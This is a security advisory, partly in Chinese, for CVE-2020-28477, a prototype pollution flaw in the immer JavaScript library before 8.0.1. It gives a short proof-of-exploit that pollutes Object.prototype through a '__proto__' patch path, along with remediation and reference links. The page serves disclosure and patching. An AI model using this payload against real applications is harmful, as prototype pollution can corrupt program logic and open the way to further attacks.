CVE-2020-28477

描述

## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.

如何修補 CVE-2020-28477

要修補 CVE-2020-28477,請將受影響套件升級到下列已修補版本。

• —升級至 8.0.1 或更新版本

CVE-2020-28477 正在被利用嗎?

低 — EPSS 為 2.3%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• >= 7.0.0, < 8.0.1

CVSS 分數

參考連結(7)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2020-28477
• WEBgithub.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213
• WEBgithub.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5
• WEBgithub.com/immerjs/immer/issues/738